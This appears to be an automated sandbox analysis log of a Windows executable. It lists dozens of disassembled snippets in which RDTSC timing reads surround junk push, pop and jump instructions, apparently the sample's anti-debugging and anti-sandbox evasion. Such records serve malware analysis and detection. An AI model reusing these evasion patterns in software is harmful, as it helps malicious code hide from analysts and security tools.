Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31229 second address: A31236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F8044531C9Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A30F54 second address: A30F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35D57 second address: A35D74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F8044531CA7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35D74 second address: A35D78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A361D2 second address: A361D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A361D8 second address: A361E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A361E4 second address: A361EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A361EB second address: A361F5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8044DEC45Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BCCC second address: A3BCD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BCD2 second address: A3BCEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044DEC45Eh 0x00000009 jne 00007F8044DEC456h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A535 second address: A3A539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A539 second address: A3A53F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A53F second address: A3A54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A54A second address: A3A54F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A54F second address: A3A557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A557 second address: A3A55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A6EE second address: A3A6FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044531C9Ah 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A6FF second address: A3A712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044DEC45Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A831 second address: A3A840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F8044531C96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A840 second address: A3A84A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8044DEC456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A84A second address: A3A878 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8044531C9Eh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F8044531CA9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AB4E second address: A3AB52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EBE7 second address: A3EBF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F8044531C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F1B5 second address: A3F1BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F32E second address: A3F334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F334 second address: A3F338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F338 second address: A3F348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8044531C96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F348 second address: A3F34C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F34C second address: A3F350 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4631A second address: A46328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007F8044DEC478h 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46328 second address: A46341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044531CA0h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A466F4 second address: A466FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A466FD second address: A46701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46701 second address: A46705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46705 second address: A46711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46711 second address: A4671E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 js 00007F8044DEC458h 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4671E second address: A46726 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46726 second address: A46735 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F8044DEC456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46CB6 second address: A46CBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4721A second address: A47220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47795 second address: A47799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47799 second address: A477B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F8044DEC464h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A477B7 second address: A477BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A477BD second address: A477C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A477C3 second address: A477D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044531C9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C810 second address: A4C814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C814 second address: A4C818 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4C818 second address: A4C83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F8044DEC469h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F78E second address: A4F7A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044531CA3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F7A5 second address: A4F7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jng 00007F8044DEC456h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F7B6 second address: A4F7D2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8044531CA7h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F8044531C9Fh 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FA50 second address: A4FA6A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8044DEC456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F8044DEC460h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FA6A second address: A4FA71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FA71 second address: A4FA8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044DEC464h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FA8D second address: A4FA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FA93 second address: A4FA9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FBF5 second address: A4FBFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5008B second address: A500AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F8044DEC456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8044DEC462h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57D52 second address: A57D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8044531C9Eh 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007F8044531C96h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57D71 second address: A57D89 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8044DEC456h 0x00000008 jmp 00007F8044DEC45Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55E7C second address: A55E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8044531C96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A562D8 second address: A562E4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8044DEC45Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A567F0 second address: A567F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A567F4 second address: A56800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8044DEC456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56800 second address: A5680D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F8044531C96h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5680D second address: A56829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8044DEC462h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56829 second address: A5683F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8044531C96h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5683F second address: A5684E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F8044DEC456h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5684E second address: A56852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56852 second address: A56862 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8044DEC456h 0x00000008 ja 00007F8044DEC456h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56862 second address: A5686C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8044531C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5686C second address: A56882 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC45Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A569DA second address: A569DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A569DE second address: A569EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A569EA second address: A569F6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8044531C96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A57409 second address: A5740F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5740F second address: A5741A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D0E7 second address: A6D121 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jp 00007F8044DEC458h 0x0000000e jmp 00007F8044DEC465h 0x00000013 pushad 0x00000014 jmp 00007F8044DEC460h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6FBAD second address: A6FBB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A743B5 second address: A743C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8044DEC45Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A743C7 second address: A743D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F8044531C96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A743D2 second address: A743D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F8AB second address: A7F8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8044531C96h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F8BA second address: A7F8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8485D second address: A84862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8467D second address: A846A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F8044DEC456h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e js 00007F8044DEC458h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 jbe 00007F8044DEC45Ch 0x0000001f push ebx 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A846A7 second address: A846AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85DA2 second address: A85DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8044DEC45Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85DBC second address: A85DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8807C second address: A88082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88082 second address: A8808C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8044531C9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E4FB second address: A8E505 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8044DEC456h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E8DB second address: A8E8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 js 00007F8044531C96h 0x0000000e popad 0x0000000f pop ebx 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E8EF second address: A8E8F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EA67 second address: A8EA7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8044531C9Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EE95 second address: A8EE99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EE99 second address: A8EE9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EE9F second address: A8EEAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007F8044DEC456h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8EEAF second address: A8EEB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93312 second address: A93317 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9304C second address: A9305B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F8044531C96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1CB1 second address: AA1CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jbe 00007F8044DEC456h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA1CBF second address: AA1D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8044531C96h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F8044531CA9h 0x00000013 jp 00007F8044531C96h 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 jmp 00007F8044531C9Fh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4FAA second address: AA4FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F8044DEC456h 0x0000000d rdtsc
